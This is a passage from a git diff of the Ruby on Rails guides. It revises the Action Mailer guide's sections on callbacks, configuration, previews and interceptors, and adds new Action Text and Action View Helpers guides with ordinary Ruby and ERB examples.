+    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+  end
+
+  def project_invitation
+    @project    = params[:project]
+    @summarizer = ProjectInvitationSummarizer.new(@project.bucket)
+
+    mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
+  end
 
-Action Mailer allows for you to specify a `before_action`, `after_action` and
-`around_action`.
+  private
+    def set_inviter_and_invitee
+      @inviter = params[:inviter]
+      @invitee = params[:invitee]
+    end
+end
+```
 
-* Filters can be specified with a block or a symbol to a method in the mailer
-  class similar to controllers.
+### `after_action`
 
-* You could use a `before_action` to populate the mail object with defaults,
-  delivery_method_options or insert default headers and attachments.
+You can use an `after_action` callback with a similar setup as a `before_action`
+but also have access to instance variables that were set in your mailer action.
 
-* You could use an `after_action` to do similar setup as a `before_action` but
-  using instance variables set in your mailer action.
+You can also use an `after_action` to override delivery method settings by
+updating `mail.delivery_method.settings`.
 
 ```ruby
 class UserMailer < ApplicationMailer
+  before_action { @business, @user = params[:business], params[:user] }
+
   after_action :set_delivery_options,
                :prevent_delivery_to_guests,
                :set_business_headers
 
-  def feedback_message(business, user)
-    @business = business
-    @user = user
-    mail
+  def feedback_message
   end
 
-  def campaign_message(business, user)
-    @business = business
-    @user = user
+  def campaign_message
   end
 
   private
-
     def set_delivery_options
       # You have access to the mail instance,
       # @business and @user instance variables here
@@ -717,38 +886,90 @@ class UserMailer < ApplicationMailer
 end
 ```
 
-* Mailer Filters abort further processing if body is set to a non-nil value.
+### `after_deliver`
 
-Using Action Mailer Helpers
----------------------------
+You could use an `after_deliver` to record the delivery of the message. It also
+allows observer/interceptor-like behaviors, but with access to the full mailer
+context.
+
+```ruby
+class UserMailer < ApplicationMailer
+  after_deliver :mark_delivered
+  before_deliver :sandbox_staging
+  after_deliver :observe_delivery
+
+  def feedback_message
+    @feedback = params[:feedback]
+  end
+
+  private
+    def mark_delivered
+      params[:feedback].touch(:delivered_at)
+    end
+
+    # An Interceptor alternative.
+    def sandbox_staging
+      message.to = ["sandbox@example.com"] if Rails.env.staging?
+    end
 
-Action Mailer now just inherits from `AbstractController`, so you have access to
-the same generic helpers as you do in Action Controller.
+    # A callback has more context than the comparable Observer example.
+    def observe_delivery
+      EmailDelivery.log(message, self.class, action_name, params)
+    end
+end
+```
+
+Mailer callbacks abort further processing if `body` is set to a non-nil value.
+`before_deliver` can abort with `throw :abort`.
+
+[`after_action`]:
+    https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action
+[`after_deliver`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-after_deliver
+[`around_action`]:
+    https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action
+[`around_deliver`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-around_deliver
+[`before_action`]:
+    https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action
+[`before_deliver`]:
+    https://api.rubyonrails.org/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-before_deliver
+
+Action Mailer View Helpers
+--------------------------
+
+Action Mailer views have access to most of the same helpers as regular views.
+
+There are also some Action Mailer-specific helper methods available in
+[`ActionMailer::MailHelper`][]. For example, these allow accessing the mailer
+instance from your view with [`mailer`][MailHelper#mailer], and accessing the
+message as [`message`][MailHelper#message]:
+
+```erb
+<%= stylesheet_link_tag mailer.name.underscore %>
+<h1><%= message.subject %></h1>
+```
+
+[`ActionMailer::MailHelper`]:
+    https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html
+[MailHelper#mailer]:
+    https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-mailer
+[MailHelper#message]:
+    https://api.rubyonrails.org/classes/ActionMailer/MailHelper.html#method-i-message
 
 Action Mailer Configuration
 ---------------------------
 
-The following configuration options are best made in one of the environment
-files (environment.rb, production.rb, etc...)
-
-| Configuration | Description |
-|---------------|-------------|
-|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
-|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain` (will send the password in the clear), `:login` (will send password Base64 encoded) or `:cram_md5` (combines a Challenge/Response mechanism to exchange information and a cryptographic Message Digest 5 algorithm to hash important information)</li><li>`:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. Defaults to `true`.</li><li>`:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name of an OpenSSL verify constant ('none' or 'peer') or directly the constant (`OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`).</li></ul>|
-|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i`.</li></ul>|
-|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
-|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.|
-|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
-|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
-|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
+This section shows some example configurations for Action Mailer.
 
-For a complete writeup of possible configurations see the
-[Configuring Action Mailer](configuring.html#configuring-action-mailer) in
-our Configuring Rails Applications guide.
+For more details on the various configuration options, see the [Configuring
+Rails Applications](configuring.html#configuring-action-mailer) guide. You can
+specify configuration options in environment specific files such as
+production.rb.
 
 ### Example Action Mailer Configuration
 
-An example would be adding the following to your appropriate
+Here is an example using the `:sendmail` delivery method, added to a
 `config/environments/$RAILS_ENV.rb` file:
 
 ```ruby
@@ -756,66 +977,160 @@ config.action_mailer.delivery_method = :sendmail
 # Defaults to:
 # config.action_mailer.sendmail_settings = {
 #   location: '/usr/sbin/sendmail',
-#   arguments: '-i'
+#   arguments: %w[ -i ]
 # }
 config.action_mailer.perform_deliveries = true
 config.action_mailer.raise_delivery_errors = true
-config.action_mailer.default_options = {from: 'no-reply@example.com'}
+config.action_mailer.default_options = { from: "no-reply@example.com" }
 ```
 
 ### Action Mailer Configuration for Gmail
 
-As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this
-becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
+Add this to your `config/environments/$RAILS_ENV.rb` file to send via Gmail:
 
 ```ruby
 config.action_mailer.delivery_method = :smtp
 config.action_mailer.smtp_settings = {
-  address:              'smtp.gmail.com',
-  port:                 587,
-  domain:               'example.com',
-  user_name:            '<username>',
-  password:             '<password>',
-  authentication:       'plain',
-  enable_starttls_auto: true  }
+  address:         "smtp.gmail.com",
+  port:            587,
+  domain:          "example.com",
+  user_name:       Rails.application.credentials.dig(:smtp, :user_name),
+  password:        Rails.application.credentials.dig(:smtp, :password),
+  authentication:  "plain",
+  enable_starttls: true,
+  open_timeout:    5,
+  read_timeout:    5 }
+```
+
+NOTE: Google [blocks
+sign-ins](https://support.google.com/accounts/answer/6010255) from apps it deems
+less secure. You can [change your Gmail settings](https://www.google.com/settings/security/lesssecureapps) to allow the
+attempts. If your Gmail account has 2-factor authentication enabled, then you
+will need to set an [app password](https://myaccount.google.com/apppasswords)
+and use that instead of your regular password.
+
+Previewing and Testing Mailers
+------------------------------
+
+You can find detailed instructions on how to test your mailers in the [testing
+guide](testing.html#testing-mailers).
+
+### Previewing Emails
+
+You can preview rendered email templates visually by visiting a special Action
+Mailer preview URL. To set up a preview for `UserMailer`, create a class named
+`UserMailerPreview` in the `test/mailers/previews/` directory. To see the
+preview of `welcome_email` from `UserMailer`, implement a method that has the
+same name in `UserMailerPreview` and call `UserMailer.welcome_email`:
+
+```ruby
+class UserMailerPreview < ActionMailer::Preview
+  def welcome_email
+    UserMailer.with(user: User.first).welcome_email
+  end
+end
+```
+
+Now the preview will be available at
+<http://localhost:3000/rails/mailers/user_mailer/welcome_email>.
+
+If you change something in the mailer view at
+`app/views/user_mailer/welcome_email.html.erb` or the mailer itself, the preview
+will automatically be updated. A list of previews is also available in
+<http://localhost:3000/rails/mailers>.
+
+By default, these preview classes live in `test/mailers/previews`. This can be
+configured using the `preview_paths` option. For example, if you want to add
+`lib/mailer_previews` to it, you can configure it in `config/application.rb`:
+
+```ruby
+config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
+```
+
+### Rescuing Errors
+
+Rescue blocks inside of a mailer method cannot rescue errors that occur outside
+of rendering. For example, record deserialization errors in a background job, or
+errors from a third-party mail delivery service.
+
+To rescue errors that occur during any part of the mailing process, use
+[rescue_from](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):
+
+```ruby
+class NotifierMailer < ApplicationMailer
+  rescue_from ActiveJob::DeserializationError do
+    # ...
+  end
+
+  rescue_from "SomeThirdPartyService::ApiError" do
+    # ...
+  end
+
+  def notify(recipient)
+    mail(to: recipient, subject: "Notification")
+  end
+end
 ```
-Note: As of July 15, 2014, Google increased [its security measures](https://support.google.com/accounts/answer/6010255) and now blocks attempts from apps it deems less secure.
-You can change your gmail settings [here](https://www.google.com/settings/security/lesssecureapps) to allow the attempts or
-use another ESP to send email by replacing 'smtp.gmail.com' above with the address of your provider.
 
-Mailer Testing
---------------
+Intercepting and Observing Emails
+---------------------------------
 
-You can find detailed instructions on how to test your mailers in the
-[testing guide](testing.html#testing-your-mailers).
+Action Mailer provides hooks into the Mail observer and interceptor methods.
+These allow you to register classes that are called during the mail delivery
+life cycle of every email sent.
 
-Intercepting Emails
--------------------
+### Intercepting Emails
 
-There are situations where you need to edit an email before it's
-delivered. Fortunately Action Mailer provides hooks to intercept every
-email. You can register an interceptor to make modifications to mail messages
-right before they are handed to the delivery agents.
+Interceptors allow you to make modifications to emails before they are handed
+off to the delivery agents. An interceptor class must implement the
+`.delivering_email(message)` method which will be called before the email is
+sent.
 
 ```ruby
 class SandboxEmailInterceptor
   def self.delivering_email(message)
-    message.to = ['sandbox@example.com']
+    message.to = ["sandbox@example.com"]
   end
 end
 ```
 
-Before the interceptor can do its job you need to register it with the Action
-Mailer framework. You can do this in an initializer file
-`config/initializers/sandbox_email_interceptor.rb`
+The interceptor needs to be registered using the `interceptors` config option.
+You can do this in an initializer file like
+`config/initializers/mail_interceptors.rb`:
 
 ```ruby
-if Rails.env.staging?
-  ActionMailer::Base.register_interceptor(SandboxEmailInterceptor)
+Rails.application.configure do
+  if Rails.env.staging?
+    config.action_mailer.interceptors = %w[SandboxEmailInterceptor]
+  end
 end
 ```
 
 NOTE: The example above uses a custom environment called "staging" for a
-production like server but for testing purposes. You can read
-[Creating Rails environments](configuring.html#creating-rails-environments)
-for more information about custom Rails environments.
+production-like server but for testing purposes. You can read [Creating Rails
+Environments](configuring.html#creating-rails-environments) for more information
+about custom Rails environments.
+
+### Observing Emails
+
+Observers give you access to the email message _after_ it has been sent. An
+observer class must implement the `:delivered_email(message)` method, which will
+be called after the email is sent.
+
+```ruby
+class EmailDeliveryObserver
+  def self.delivered_email(message)
+    EmailDelivery.log(message)
+  end
+end
+```
+
+Similar to interceptors, you must register observers using the `observers`
+config option. You can do this in an initializer file like
+`config/initializers/mail_observers.rb`:
+
+```ruby
+Rails.application.configure do
+  config.action_mailer.observers = %w[EmailDeliveryObserver]
+end
+```
diff --git a/guides/source/action_text_overview.md b/guides/source/action_text_overview.md
new file mode 100644
index 0000000000000..d43df38bd9afd
--- /dev/null
+++ b/guides/source/action_text_overview.md
@@ -0,0 +1,462 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Action Text Overview
+====================
+
+This guide provides you with all you need to get started in handling rich text
+content.
+
+After reading this guide, you will know:
+
+* What Action Text is, and how to install and configure it.
+* How to create, render, style, and customize rich text content.
+* How to handle attachments.
+
+--------------------------------------------------------------------------------
+
+What is Action Text?
+--------------------
+
+Action Text facilitates the handling and display of rich text content. Rich text
+content is text that includes formatting elements such as bold, italics, colors,
+and hyperlinks, providing a visually enhanced and structured presentation beyond
+plain text. It allows us to create rich text content, store it in a table, then
+attach it to any of our models.
+
+Action Text includes a [WYSIWYG](https://en.wikipedia.org/wiki/WYSIWYG) editor
+called Trix, which is used in web applications to provide users with a
+user-friendly interface for creating and editing rich text content. It handles
+everything from providing enriching capabilities like the formatting of text,
+adding links or quotes, embedding images, and much much more. See [the Trix
+editor website](https://trix-editor.org/) for examples.
+
+The rich text content generated by the Trix editor is saved in its own RichText
+model that can be associated with any existing Active Record model in the
+application. In addition, any embedded images (or other attachments) can be
+automatically stored using Active Storage (which is added as a dependency) and
+associated with that RichText model. When it's time to render content, Action
+Text processes the content by sanitizing it first so that it's safe to embed
+directly into the page's HTML.
+
+INFO: Most WYSIWYG editors are wrappers around HTML’s `contenteditable` and
+`execCommand` APIs. These APIs were designed by Microsoft to support live
+editing of web pages in Internet Explorer 5.5. They were eventually
+reverse-engineered and copied by other browsers. Consequently, these APIs were
+never fully specified or documented, and because WYSIWYG HTML editors are
+enormous in scope, each browser's implementation has its own set of bugs and
+quirks. Hence, JavaScript developers are often left to resolve the
+inconsistencies.<br><br> Trix sidesteps these inconsistencies by treating
+`contenteditable` as an I/O device: when input makes its way to the editor, Trix
+converts that input into an editing operation on its internal document model,
+then re-renders that document back into the editor. This gives Trix complete
+control over what happens after every keystroke and avoids the need to use
+`execCommand` and the inconsistencies that come along with it.
+
+## Installation
+
+To install Action Text and start working with rich text content, run:
+
+```bash
+$ bin/rails action_text:install
+```
+
+It will do the following:
+
+- Installs the JavaScript packages for `trix` and `@rails/actiontext` and adds
+  them to the `application.js`.
+- Adds the `image_processing` gem for analysis and transformations of the
+  embedded images and other attachments with Active Storage. Please refer to the
+  [Active Storage Overview](active_storage_overview.html) guide for more
+  information about it.
+- Adds migrations to create the following tables that store rich text content
+  and attachments: `action_text_rich_texts`, `active_storage_blobs`,
+  `active_storage_attachments`, `active_storage_variant_records`.
+- Creates `actiontext.css` which includes all Trix styles and overrides.
+- Adds the default view partials `_content.html` and `_blob.html` to render
+  Action Text content and Active Storage attachment (aka blob) respectively.
+
+Thereafter, executing the migrations will add the new `action_text_*` and
+`active_storage_*` tables to your app:
+
+```bash
+$ bin/rails db:migrate
+```
+
+When the Action Text installation creates the `action_text_rich_texts` table, it
+uses a polymorphic relationship so that multiple models can add rich text
+attributes. This is done through the `record_type` and `record_id` columns,
+which store the ClassName of the model, and ID of the record, respectively.
+
+INFO: With polymorphic associations, a model can belong to more than one other
+model, on a single association. Read more about it in the [Active Record
+Associations
+guide](https://guides.rubyonrails.org/association_basics.html#polymorphic-associations).
+
+Hence, if your models containing Action Text content use UUID values as
+identifiers, then all models that use Action Text attributes will need to use
+UUID values for their unique identifiers. The generated migration for Action
+Text will also need to be updated to specify `type: :uuid` for the record
+references line.
+
+```ruby
+t.references :record, null: false, polymorphic: true, index: false, type: :uuid
+ ```
+
+## Creating Rich Text Content
+
+This section explores some of the configurations you'll need to follow to create
+rich text.
+
+The RichText record holds the content produced by the Trix editor in a
+serialized `body` attribute. It also holds all the references to the embedded
+files, which are stored using Active Storage. This record is then associated
+with the Active Record model which desires to have rich text content. The
+association is made by placing the `has_rich_text` class method in the model
+that you’d like to add rich text to.
+
+```ruby
+# app/models/article.rb
+class Article < ApplicationRecord
+  has_rich_text :content
+end
+```
+
+NOTE: There's no need to add the `content` column to your Article table.
+`has_rich_text` associates the content with the `action_text_rich_texts` table
+that has been created, and links it back to your model. You also may choose to
+name the attribute to be something different from `content`.
+
+Once you have added the `has_rich_text` class method to the model, you can then
+update your views to make use of the rich text editor (Trix) for that field. To
+do so, use a
+[`rich_textarea`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-rich_textarea)
+for the form field.
+
+```html+erb
+<%# app/views/articles/_form.html.erb %>
+<%= form_with model: article do |form| %>
+  <div class="field">
+    <%= form.label :content %>
+    <%= form.rich_textarea :content %>
+  </div>
+<% end %>
+```
+
+This will display a Trix editor that provides the functionality to create and
+update your rich text accordingly. Later we'll go into details about [how to
+update the styles for the
+editor](action_text_overview.html#removing-or-adding-trix-styles).
+
+Finally, to ensure that you can accept updates from the editor, you will need to
+permit the referenced attribute as a parameter in the relevant controller:
+
+```ruby
+class ArticlesController < ApplicationController
+  def create
+    article = Article.create! params.expect(article: [:title, :content])
+    redirect_to article
+  end
+end
+```
+
+If the need arises to rename classes that utilize `has_rich_text`, you will also
+need to update the polymorphic type column `record_type` in the
+`action_text_rich_texts` table for the respective rows.
+
+Since Action Text depends on polymorphic associations, which, in turn, involve
+storing class names in the database, it's crucial to keep the data in sync with
+the class names used in your Ruby code. This synchronization is essential to
+maintain consistency between the stored data and the class references in your
+codebase.
+
+## Rendering Rich Text Content
+
+Instances of `ActionText::RichText` can be directly embedded into a page because
+they have already sanitized their content for a safe render. You can display the
+content as follows:
+
+```erb
+<%= @article.content %>
+```
+
+`ActionText::RichText#to_s` safely transforms RichText into an HTML String. On
+the other hand `ActionText::RichText#to_plain_text` returns a string that is not
+HTML safe and should not be rendered in browsers without additional sanitization.
+You can learn more about Action Text's sanitization process in the [`ActionText::RichText`
+documentation](https://api.rubyonrails.org/classes/ActionText/RichText.html).
+
+NOTE: If there's an attached resource within `content` field, it might not show
+properly unless you have the necessary [dependencies for Active
+Storage](active_storage_overview.html#requirements) installed.
+
+## Customizing the Rich Text Content Editor (Trix)
+
+There may be times when you want to update the presentation of the editor to
+meet your stylistic requirements, this section guides on how to do that.
+
+### Removing or Adding Trix Styles
+
+By default, Action Text will render rich text content inside an element with the
+`.trix-content` class. This is set in
+`app/views/layouts/action_text/contents/_content.html.erb`.  Elements with this
+class are then styled by the trix stylesheet.
+
+If you’d like to update any of the trix styles, you can add your custom styles
+in `app/assets/stylesheets/actiontext.css`, which includes both the full set of
+styles for Trix and the overrides needed for Action Text.
+
+### Customizing the Editor Container
+
+To customize the HTML container element that's rendered around rich text
+content, edit the `app/views/layouts/action_text/contents/_content.html.erb`
+layout file created by the installer:
+
+```html+erb
+<%# app/views/layouts/action_text/contents/_content.html.erb %>
+<div class="trix-content">
+  <%= yield %>
+</div>
+```
+
+### Customizing HTML for Embedded Images and Attachments
+
+To customize the HTML rendered for embedded images and other attachments (known
+as blobs), edit the `app/views/active_storage/blobs/_blob.html.erb` template
+created by the installer:
+
+```html+erb
+<%# app/views/active_storage/blobs/_blob.html.erb %>
+<figure class="attachment attachment--<%= blob.representable? ? "preview" : "file" %> attachment--<%= blob.filename.extension %>">
+  <% if blob.representable? %>
+    <%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %>
+  <% end %>
+
+  <figcaption class="attachment__caption">
+    <% if caption = blob.try(:caption) %>
+      <%= caption %>
+    <% else %>
+      <span class="attachment__name"><%= blob.filename %></span>
+      <span class="attachment__size"><%= number_to_human_size blob.byte_size %></span>
+    <% end %>
+  </figcaption>
+</figure>
+```
+
+## Attachments
+
+Currently, Action Text supports attachments that are uploaded through Active
+Storage as well as attachments that are linked to a Signed GlobalID.
+
+### Active Storage
+
+When uploading an image within your rich text editor, it uses Action Text which
+in turn uses Active Storage. However, [Active Storage has some
+dependencies](active_storage_overview.html#requirements) which are not provided
+by Rails. To use the built-in previewers, you must install these libraries.
+
+Some, but not all of these libraries are required and they are dependent on the
+kind of uploads you are expecting within the editor. A common error that users
+encounter when working with Action Text and Active Storage is that images do not
+render correctly in the editor. This is usually due to the `libvips` dependency
+not being installed.
+
+#### Attachment Direct Upload JavaScript Events
+
+Action Text dispatches [Active Storage Direct Upload
+Events](active_storage_overview.html#direct-upload-javascript-events) during the
+File attachment lifecycle.
+
+In addition to the typical `event.detail` properties, Action Text also
+dispatches events with an
+[`event.detail.attachment`](https://github.com/basecamp/trix/?tab=readme-ov-file#inserting-a-file)
+property.
+
+| Event name | Event target | Event data (`event.detail`) | Description |
+| --- | --- | --- | --- |
+| `direct-upload:start` | `<input>` | `{id, file}` | A direct upload is starting. |
+| `direct-upload:progress` | `<input>` | `{id, file, progress}` | As requests to store files progress. |
+| `direct-upload:error` | `<input>` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. |
+| `direct-upload:end` | `<input>` | `{id, file}` | A direct upload has ended. |
+
+NOTE: It is possible for files uploaded by Action Text through [Active Storage
+Direct Uploads](active_storage_overview.html#direct-uploads) to never be
+embedded within rich text content. Consider [purging unattached
+uploads](active_storage_overview.html#purging-unattached-uploads) regularly.
+
+### Signed GlobalID
+
+In addition to attachments uploaded through Active Storage, Action Text can also
+embed anything that can be resolved by a [Signed
+GlobalID](https://github.com/rails/globalid#signed-global-ids).
+
+A Global ID is an app-wide URI that uniquely identifies a model instance:
+`gid://YourApp/Some::Model/id`. This is helpful when you need a single
+identifier to reference different classes of objects.
+
+When using this method, Action Text requires attachments to have a signed global
+ID (sgid). By default, all Active Record models in a Rails app mix in the
+`GlobalID::Identification` concern, so they can be resolved by a signed global
+ID and are therefore `ActionText::Attachable` compatible.
+
+Action Text references the HTML you insert on save so that it can re-render with
+up-to-date content later on. This makes it so that you can reference models and
+always display the current content when those records change.
+
+Action Text will load up the model from the global ID and then render it with
+the default partial path when you render the content.
+
+An Action Text Attachment can look like this:
+
+```html
+<action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>
+```
+
+Action Text renders embedded `<action-text-attachment>` elements by resolving
+their sgid attribute of the element into an instance. Once resolved, that
+instance is passed along to a render helper. As a result, the HTML is embedded
+as a descendant of the `<action-text-attachment>` element.
+
+To be rendered within Action Text `<action-text-attachment>` element as an
+attachment, we must include the `ActionText::Attachable` module, which
+implements `#to_sgid(**options)` (made available through the
+`GlobalID::Identification` concern).
+
+You can also optionally declare `#to_attachable_partial_path` to render a custom
+partial path and `#to_missing_attachable_partial_path` for handling missing
+records.
+
+An example can be found here:
+
+```ruby
+class Person < ApplicationRecord
+  include ActionText::Attachable
+end
+
+person = Person.create! name: "Javan"
+html = %Q(<action-text-attachment sgid="#{person.attachable_sgid}"></action-text-attachment>)
+content = ActionText::Content.new(html)
+content.attachables # => [person]
+```
+
+### Rendering an Action Text Attachment
+
+The default way that an `<action-text-attachment>` is rendered is through the
+default path partial.
+
+To illustrate this further, let’s consider a User model:
+
+```ruby
+# app/models/user.rb
+class User < ApplicationRecord
+  has_one_attached :avatar
+end
+
+user = User.find(1)
+user.to_global_id.to_s #=> gid://MyRailsApp/User/1
+user.to_signed_global_id.to_s #=> BAh7CEkiCG…
+```
+
+NOTE: We can mix `GlobalID::Identification` into any model with a `.find(id)`
+class method. Support is automatically included in Active Record.
+
+The above code will return our identifier to uniquely identify a model instance.
+
+Next, consider some rich text content that embeds an `<action-text-attachment>`
+element that references the User instance's signed GlobalID:
+
+```html
+<p>Hello, <action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>.</p>
+```
+
+Action Text uses the "BAh7CEkiCG…" String to resolve the User instance. It then
+renders it with the default partial path when you render the content.
+
+In this case, the default partial path is the `users/user` partial:
+
+```html+erb
+<%# app/views/users/_user.html.erb %>
+<span><%= image_tag user.avatar %> <%= user.name %></span>
+```
+
+Hence, the resulting HTML rendered by Action Text would look something like:
+
+```html
+<p>Hello, <action-text-attachment sgid="BAh7CEkiCG…"><span><img src="..."> Jane Doe</span></action-text-attachment>.</p>
+```
+
+### Rendering a Different Partial for the action-text-attachment
+
+To render a different partial for the attachable, define
+`User#to_attachable_partial_path`:
+
+```ruby
+class User < ApplicationRecord
+  def to_attachable_partial_path
+    "users/attachable"
+  end
+end
+```
+
+Then declare that partial. The User instance will be available as the user
+partial-local variable:
+
+```html+erb
+<%# app/views/users/_attachable.html.erb %>
+<span><%= image_tag user.avatar %> <%= user.name %></span>
+```
+
+### Rendering a Partial for an Unresolved Instance or Missing action-text-attachment
+
+If Action Text is unable to resolve the User instance (for example, if the
+record has been deleted), then a default fallback partial will be rendered.
+
+To render a different missing attachment partial, define a class-level
+`to_missing_attachable_partial_path` method:
+
+```ruby
+class User < ApplicationRecord
+  def self.to_missing_attachable_partial_path
+    "users/missing_attachable"
+  end
+end
+```
+
+Then declare that partial.
+
+```html+erb
+<%# app/views/users/missing_attachable.html.erb %>
+<span>Deleted user</span>
+```
+
+### Attachable via API
+
+If your architecture does not follow the traditional Rails server-side rendered
+pattern, then you may perhaps find yourself with a backend API (for example,
+using JSON) that will need a separate endpoint for uploading files. The endpoint
+will be required to create an `ActiveStorage::Blob` and return its
+`attachable_sgid`:
+
+```json
+{
+  "attachable_sgid": "BAh7CEkiCG…"
+}
+```
+
+Thereafter, you can take the `attachable_sgid` and insert it in rich text
+content within your frontend code using the `<action-text-attachment>` tag:
+
+```html
+<action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>
+```
+
+## Miscellaneous
+
+### Avoiding N+1 Queries
+
+If you wish to preload the dependent `ActionText::RichText` model, assuming your
+rich text field is named `content`, you can use the named scope:
+
+```ruby
+Article.all.with_rich_text_content # Preload the body without attachments.
+Article.all.with_rich_text_content_and_embeds # Preload both body and attachments.
+```
diff --git a/guides/source/action_view_helpers.md b/guides/source/action_view_helpers.md
new file mode 100644
index 0000000000000..ccc3ea3ab7c0a
--- /dev/null
+++ b/guides/source/action_view_helpers.md
@@ -0,0 +1,1054 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Action View Helpers
+====================
+
+After reading this guide, you will know:
+
+* How to format dates, strings, and numbers.
+* How to work with text and tags.
+* How to link to images, videos, stylesheets, etc.
+* How to work with Atom feeds and JavaScript in the views.
+* How to cache, capture, debug and sanitize content.
+
+--------------------------------------------------------------------------------
+
+The following outlines **some of the most commonly used helpers** available in
+Action View. It serves as a good starting point, but reviewing the full [API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) is
+also recommended, as it covers all of the helpers in more detail.
+
+Formatting
+----------
+
+### Dates
+
+These helpers facilitate the display of date and/or time elements as contextual
+human readable forms.
+
+#### distance_of_time_in_words
+
+Reports the approximate distance in time between two `Time` or `Date` objects or
+integers as seconds. Set `include_seconds` to true if you want more detailed
+approximations.
+
+```ruby
+distance_of_time_in_words(Time.current, 15.seconds.from_now)
+# => less than a minute
+distance_of_time_in_words(Time.current, 15.seconds.from_now, include_seconds: true)
+# => less than 20 seconds
+```
+
+NOTE: We use `Time.current` instead of `Time.now` because it returns the current
+time based on the timezone set in Rails, whereas `Time.now` returns a Time
+object based on the server's timezone.
+
+See the [`distance_of_time_in_words` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words)
+for more information.
+
+#### time_ago_in_words
+
+Reports the approximate distance in time between a `Time` or `Date` object, or
+integer as seconds,  and `Time.current`.
+
+```ruby
+time_ago_in_words(3.minutes.from_now) # => 3 minutes
+```
+
+See the [`time_ago_in_words` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-time_ago_in_words)
+for more information.
+
+### Numbers
+
+A set of methods for converting numbers into formatted strings. Methods are
+provided for phone numbers, currency, percentage, precision, positional
+notation, and file size.
+
+#### number_to_currency
+
+Formats a number into a currency string (e.g., $13.65).
+
+```ruby
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+```
+
+See the [`number_to_currency` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency)
+for more information.
+
+#### number_to_human
+
+Pretty prints (formats and approximates) a number so it is more readable by
+users; useful for numbers that can get very large.
+
+```ruby
+number_to_human(1234)    # => 1.23 Thousand
+number_to_human(1234567) # => 1.23 Million
+```
+
+See the [`number_to_human` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human)
+for more information.
+
+#### number_to_human_size
+
+Formats the bytes in size into a more understandable representation; useful for
+reporting file sizes to users.
+
+```ruby
+number_to_human_size(1234)    # => 1.21 KB
+number_to_human_size(1234567) # => 1.18 MB
+```
+
+See the [`number_to_human_size` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human_size)
+for more information.
+
+#### number_to_percentage
+
+Formats a number as a percentage string.
+
+```ruby
+number_to_percentage(100, precision: 0) # => 100%
+```
+
+See the [`number_to_percentage` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_percentage)
+for more information.
+
+#### number_to_phone
+
+Formats a number into a phone number (US by default).
+
+```ruby
+number_to_phone(1235551234) # => 123-555-1234
+```
+
+See the [`number_to_phone` API
